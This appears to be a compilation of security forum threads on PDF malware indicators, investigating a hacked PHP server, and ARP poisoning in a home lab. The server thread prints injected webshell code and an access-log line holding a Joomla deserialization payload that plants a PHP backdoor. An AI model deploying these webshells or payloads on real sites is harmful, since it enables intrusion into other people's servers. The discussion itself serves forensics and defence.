Which of these (AA, ObjStm, XFA, etc) are really dangerous? Yeah, I read here about the values of these items, but still don't know how to react to them. If possible, explain with simple examples.
Can I safely read the pdf after using the pdfid -d command?

  /JS and /JavaScript indicate that the PDF document contains JavaScript. Almost all malicious PDF documents that I’ve found in the wild contain JavaScript (to exploit a JavaScript vulnerability and/or to execute a heap spray). Of course, you can also find JavaScript in PDF documents without malicious intend.

  /AA and /OpenAction indicate an automatic action to be performed when the page/document is viewed. All malicious PDF documents with JavaScript I’ve seen in the wild had an automatic action to launch the JavaScript without user interaction.

What differences between JS and JavaScript, AA and OpenAction if they show the same thing?

Analyzing malicious PDF can sometimes be very tricky, attackers are becoming more and more creative in a way of infecting people.

But let's make this simple, here are some examples which will indicate that PDF is malicious.

JavaScript based exploits

The PDF specification supports JavaScript programming and makes a number of JavaScript functions available to programmers in the form of APIs.

Due to its flexibility and ease of use, JavaScript is widely used in malicious PDFs, and it is used to exploit a vulnerable JavaScript API and to setup the PDF reader program’s memory with malicious code (aka heap spray).

Non-JavaScript based exploits

Although the majority of malicious PDFs observed in the wild use JavaScript, either for the exploit or to set up the memory for further exploitation, we have observed other techniques used as well. One alternative to using JavaScript is to embed Flash objects in the PDF instead.

From PDF document: The Rise of PDF Malware

Here is also nice cheat-sheet for analyzing malicious documents.

Also take a look of 'How can I tell if a PDF file I was sent contains malware?'


How can I determine from where injected script came from? I have a server that currently has been hacked. Files are being created on my server which has content of this type:

if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/}

Or like this:

<?php /*auV*/if/*fpFF*/(isset($_REQUEST['ufopf']))/*LpY*/{/*klY*/$P=/*OMca*/"assert";/*h*/$m=$P/*gN*/(/*N*/$_REQUEST['ufopf'])/*It*/;/*gSAI*/exit;/*W*/}?>

And others.

Also the same code has been injected on multiple other files that were already on the server.

I thought of two possibilites to determine who hacked me and from where:

First looked into the logs from the server(GET, POST requests) to see what came through, when, the IP from where the request was made etc. No success, couldn't find anything that would suggest who and how my server has been hacked. Could be through a form, could be anything...Any idea on how can I determine that?

Second thing I tried was to look into the FTP logs. Thought that someone gained access to it and uploaded those malware files. Again, there also was nothing to suggest that the files I see on my server were uploaded through FTP, because I couldn't find those files on the FTP logs.

Anyone can please suggest any other tips and tricks regarding this? How can I determine how those files were created or uploaded on the server? And how can I determine from where the requests from injected files came from?

If my question is offtopic, I will accept suggestions to delete it and post it somewhere else.

Server infos:

PHP Version 5.3.29

System: Linux server.myserver.com 3.10.0-327.4.5.el7.x86_64

Apache 2.0

UPDATE:

I've found some suspecting line that looks like this:

204.12.207.202 - - [13/Jul/2017:16:05:41 +0300] "GET / HTTP/1.1" 200 73776 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:216:\"eval(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2xseC5waHAnLCc4RDlBQUVFQzREOEU0NDM5Mjk5MDQ2QjhDREIzRjc4MiA8P3BocCBAZXZhbCgkX1BPU1RbInhpYW9iYWlmayJdKTsnKTs));JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"

To begin with you can try and check the timestamp of those files. You might be looking at more than one infection; if your site is vulnerable and has been scanned by X different bots all looking for the same vulnerability, you might have as many different scripts hacked by different sources.

Then check what requests came at around that time or very few seconds before, and see whether you detect any pattern.

As a good practice, the user running the Web server (be it apache, daemon, nobody, or www) should not have write permissions on any web directory except temporary upload and sessions; and files deposited there should not be reachable (e.g. with a read-only .htaccess file in the same directory denying access to that directory and all its subdirectories).


ARP - forwarding or dropping with IPtables I've been trying to ARP poison my home computer and router (intended to learn and discover the networks behavior). And with success. The whole time I've been using:

with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
ipf.write('1\n')

To enable port forwarding. Now I was trying to drop or accept packets, based upon their source and destination IP:

iptables -I FORWARD -s " + HostA.IP + " -d " + Router.IP + " -i wlan0 -j DROP

This code should drop all packets from host A, according to this scheme:

Poisoned Host A --X---->Me----X---->Router

          <-------  <---------

However, packets from host A still reach the router, thus the IPtable rule does not work. My best bet is that the packet originating from host A has the router's IP as destination IP, but my MAC address as hardware destination (it's ARP tables are poisoned ...). Could this influence the " -d " + Router.IP and cause the IPtables to accept it and port forward it (ip_forward is still set to 1, and yes I've tried to set it to 0).

Any suggestion to make this work (preferably a working IPtable rule)? I am using Bracktrack 5 r3 Linux, coding in Python.

You haven't specified your network setup (how things are wired together), which makes it difficult to figure out what's going on.

Writing "1" to /proc/sys/net/ipv4/ip_forward tells the kernel that your computer is acting as a router: that is, you've got two network interfaces on different subnets, and the kernel should act to pass packets between them.  If you genuinely have such a setup, then your iptables rule should work as you expect.

Most likely, your computer is acting as an ordinary host (single network interface on a single subnet), and the packets you are trying to filter never even come near it.  In this case, you'll need to re-wire your network so that packets from "host A" pass through it on their way to the router; you'll also need to configure your computer to act as a switch, bridge, or router (your choice, depending on how you want it to handle passing packets between the network interfaces).